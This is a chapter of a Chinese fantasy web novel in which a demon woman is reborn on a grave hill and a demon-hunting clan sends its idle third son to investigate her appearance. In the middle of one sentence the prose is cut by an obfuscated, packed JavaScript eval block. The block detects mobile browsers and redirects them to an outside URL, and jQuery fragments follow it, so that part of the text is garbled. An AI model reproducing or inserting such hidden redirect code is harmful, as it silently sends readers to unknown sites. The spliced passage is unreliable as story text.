1. 回生

作品:《离时月烛

    坟山的夜总是阴侧侧的,一股吹不尽的鬼风来回掠过这座布满了坟墓的山岗。


    这座山并没有任何特别之处,只是有些背阳,上边埋了许多附近城镇的居民死后的尸骨。还有些来路不明的尸体未加处理,被随意丢弃在坟山的某个大坑里。


    经过长年累月的风吹、日晒和雨淋,这些尸体早已化作了累累白骨,有的甚至成了齑粉,待到夜里一阵凉彻心扉的寒风一吹,就飘散在坟山上了。


    而此刻,在这一堆白骨之间竟然生长出一朵生机勃勃的素白色鲜花,此花无绿叶衬托,白色的花骨朵孤零零地在花枝上绽开。这种白很像是白骨的颜色。


    但若是细细查看,便会发觉花瓣边缘有一圈淡淡的赤金色纹路,在漆黑的夜里散发着略有些黯淡却妖异的光。


    下一秒,整个坟山便被强烈的光芒笼罩起来,恍然间亮如白昼,甚至周边许多小城镇里一些家鸡提前打了鸣,被吵醒的居民们纷纷从屋里出来,齐刷刷地望向坟山的方向。


    片刻后,那阵光辉渐渐变暗,范围也逐渐缩小,直到聚拢在那朵一枝独秀的白花上。


    紧接着,聚在白花上的光辉忽然化作一团火焰,燃烧了整个花身。


    当火焰燃尽那一刻,花已不复存在,取而代之的是一具不着衣履的人身,看上去是个年轻的女子。


    她缓缓从白骨堆上爬起来,动作有几分僵硬,像是还不适应这幅躯体。


    女子在原地愣了一会神,低头打量了自己的身体几回,尤其盯了好一阵她大腿右侧处那块像是胎记的图案。


    那是一朵花被火焰包裹的图案。


    女子自然很清楚这图案的含义,无论她起死回生几回,它一直跟着自己。


    她终于缓过神来,看着这个图案,嘴角扬起一抹笑意。在她的右手抚上这个图案的同时,她的心中一动,本□□的身躯瞬间穿上了一件素色的衣衫。


    “现在的妖力变一身衣裳还不算难。”她自言自语道。


    接着,她起身,从堆满了死人的大坑中一跃而出。女子环顾四周,发觉四周立着许多墓碑。


    人族喜欢给死去的人立一块石碑,或者木质的碑。


    大多数妖并没有这个习惯,妖族几乎从来不会去想已经死去的哪只妖。但她曾经给一个朋友立过一块墓碑。


    “还是应该想个名字。”她又自言自语了一句,余光瞥到一块墓碑上刻着什么“楼以芊之墓”的,她转转眼睛,暗暗想了一阵。


    楼心月。


    她很快就决定了这个名字。她并不忌讳什么和死人共用一个姓。


    “这是第七个名字了。”楼心月思考着过往的回忆,说着。


    她似乎是习惯性地朝腰间摸去,却没有摸到熟悉的物品。楼心月这才反应过来,她惯用的爱刀已经不知所踪。


    倒也算不上意外,她本就不觉得妖王那群妖会把她的武器和她的尸体一起丢了而不是私吞,毕竟那绝对是一把绝世罕见的好刀。否则楼心月此刻也不会这样心痛了。


    楼心月没有继续心痛下去,她绝不会把断虹刀拱手让人。


    与坟山附近的居民一样不得安寝的还有一处,上云州,烬阳山庄。


    烬阳一名在人族中如雷贯耳,只因其庞大的商业脉络,囊括了人族王朝中的大大小小的所有城池,可谓富可敌国。


    若只是行商,烬阳山庄倒也不值得世人如此敬佩和向往了。但烬阳山庄的本家——越家可是常常与王族联姻的皇亲国戚。


    但这些名利对于越家人不过是过眼云烟,只因商业贸易不过是烬阳的皮囊,而构成其最根本的骨血则是世人所不知的——诛妖。


    世人皆知烬阳山庄有座独属越家的小岛在东南边的海上,除了烬阳的自己人以外没有一个人可以上岛观光。


    因为这座岛上关押着无数的妖。


    今夜,烬阳山庄的本家却灯火通明。


    一个看上去大约不惑之年的中年女子一边穿着衣裳,眉毛像是惯来如此般紧紧皱起。夜虽深,发髻却丝毫不凌乱。


    她系好最后一根腰带时,唤了声外头的侍从,那一行人方毕恭毕敬地进了屋。


    屋内极为整洁,没有一丝灰尘。


    为首的侍从手中端着一个木质托盘,那是一种名贵的木材。托盘中端端正正摆着一块矿石,与寻常矿石不同的是,它的表面覆盖了一层陈血,干枯的黑红色。


    那块矿石名叫烬石,那层血衣是烬阳山庄最早期的一批人的精血凝成的。


    烬石的作用是查探妖气,一般会在越家子弟出任务时随身携带,方便揪出混迹在人群中的妖类,只要附近有妖的存在,烬石便会发光。


    而此时,光亮正透过那层早已干涸的血衣散发出来。


    这颗烬石是烬阳山庄庄主越寄满独有的,与寻常烬石不同,它极少会亮,唯有大妖现世时才会亮上一阵。


    越寄满紧紧盯着这颗烬石,接着沉稳地吩咐道:“去把三公子叫来。”


    收到命令的侍从即刻从屋里退出去两个,去往她口中的“三公子”的院落。


    路上,侍从一边用眼神的余光扫视附近,一边轻声议论道:


    “怎么偏叫三公子?总不能是让他去处理大妖吧?”


    “小声些,揣测庄主的意思可是大罪……”


    “哎,知道了。”那人的声音明显又低下去许多,“可三公子怎么可能对付得了能惊动那块烬石的大妖?”


    另一个侍从却叹了口气,“这些究竟不是你我该操心的,眼下最棘手的是——这会子三公子早睡下了,依他的性子,我们恐怕得费些精力才能喊起来。”


    两人来到三公子的院落外,此处没什么侍从,即使有一两个守夜的,这会儿也没精打采得很。


    见了来人,守夜的好一会儿才打打哈欠,懒洋洋地问:“哪个院子的?来找三公子什么事?”


    “庄主有令,烦请通报三公子,庄主在等他。”


    一听到“庄主”两个字,守夜的顿时打起了十二分精神,“哦!”他挠挠头,“姐姐们,三公子的脾气你们也了解,我实在是不敢扰他做梦。还望二位姐姐可怜我。”他的语气一改方才的慵懒,变得十分谄媚。


    两位侍从仿佛早就猜到这个结果似的,并不意外。但她们还是不愿意进去,又同守夜的扯了一句:“你是三公子院里的,理应是你去通报,哪有我们进去的理?”


    守夜的连忙作揖,赔笑道:“姐姐们平日在庄主底下当差,怎么比得我日日在三公子眼皮子底下呢?我若是这会儿进去吵醒了他,来日怕是有穿不完的小鞋了。”


    两位侍从对视一眼,只好无奈地叹了口气,“罢了罢了。”话毕,守夜的给她们让了路,恭恭敬敬地迎着她们进了院落。


    三公子名叫越向烛,烬阳山庄本家继承人的候选之一。不过,也是最无希望的候选人。


    在越向烛之前有一位长姐和一位二哥,两个都是既勤奋又有天赋的捉妖师。


    反观三公子


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15320558|167463||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,天赋不及两位不说,还终日同那闲散的七王爷游手好闲、不务正业。


    偏偏性子还是上云州里数一数二的顽劣,除了庄主大人,没有一个人能治得了他。


    站在越向烛卧房门外,两位侍从不约而同地咽了口口水。其中一个拼命挤眉弄眼,示意另一个去叩门,另一个则是连忙摆手。


    一时间二人僵持不下,哪个都不肯做这个出头鸟。


    正当这时,这扇叫人害怕的门竟然自己打开了——


    她们口中顽劣可怖的“魔王”三公子正倚在门框上,定定地看着她们两个。


    侍从立刻异口同声道:“三公子好!”


    下一秒,越向烛不耐烦地皱了眉,脸上的冷漠瞬间变化成寻常时候的吊儿郎当,“吵死了,什么事?”


    侍从略微松了口气,但仍旧提心吊胆地说道:“庄主大人在等您……”


    听到“庄主大人”四个字,饶是越向烛,还是不禁打了个寒战,支吾了一声:“哦。”


    他随着两位侍从来到庄主越寄满的书房外,开口喊道:“母亲,我来了。”


    里头传来一声“嗯”,越向烛便推门进去,首先映入眼帘的便是摆在案上发着红光的烬石。


    “母亲。”他行礼,对于庄主要说的话大抵猜出了几分。只是他不明白其中的缘由。


    “向烛,作为烬阳的传人,即使不指望你能像意商或者炎武那样有出息,总该替家族做些事。”说着,越寄满像是说倦了这样的言辞,印象里,她已经不知道教训过几回这没长进的小儿子。


    意商和炎武分别是越向烛的长姐和二哥。


    越向烛打了个哈哈,挠头想冲她撒娇,却被她严苛的眼神制止。


    “这块烬石亮了,你也明白是什么含义。今日不管你怎么求饶,这只大妖也该由你去解决。”刚说完,越寄满又补充道:“不说解决,你去探探虚实也是。”


    庄主心意已决,越向烛只好无精打采地应是,“那我有什么危险怎么办?你让二姨陪我去呗。”


    “不行。”越寄满立刻否决了这个方案,“库里有件软甲,只要没遇上那只熊妖,总能防住的,脱身不是难事。否则你也不配做烬阳的传人了。”


    她口中的熊妖便是妖族此代的妖王,一只熊妖。


    刚从书房出来,越向烛迎头撞上了越炎武,“嗨,二哥,好巧啊,你也来找母亲吗?”


    越炎武从来不掩饰他对越向烛的厌恶,斜睨了他一眼,并不搭理他,笔直地走向书房。


    身后,越向烛说道:“如果二哥是想接下关于那只大妖现世的任务,那二哥恐怕要失望了。”


    越炎武闻言顿时停住脚步,不可置信地回头盯着越向烛,这个没用的弟弟正微微笑着看向自己,他的笑容看起来单纯无害。


    可不知为何,越炎武却只觉得心里有几分发毛。见鬼了,我怎么会害怕一个纨绔?越炎武在心中暗骂。


    “母亲怎么会把这么重要的任务交给你这个……”他最终还是没把那两个字说出口,倒不是留什么情面,只是在母亲的书房外,他也不想和越向烛起什么争执。


    “不知道啊。”越向烛摊开手,无奈地笑笑,“二哥早些休息,小弟也回去歇着了,毕竟明日还要早起。”


    越向烛说完,转身就走,只留下他的好二哥在原地憋了一肚子的火。


    回院子的路上,他的心沉甸甸的,不过好歹是争取到一个晚上,否则照母亲那个性子,今夜他就得出发。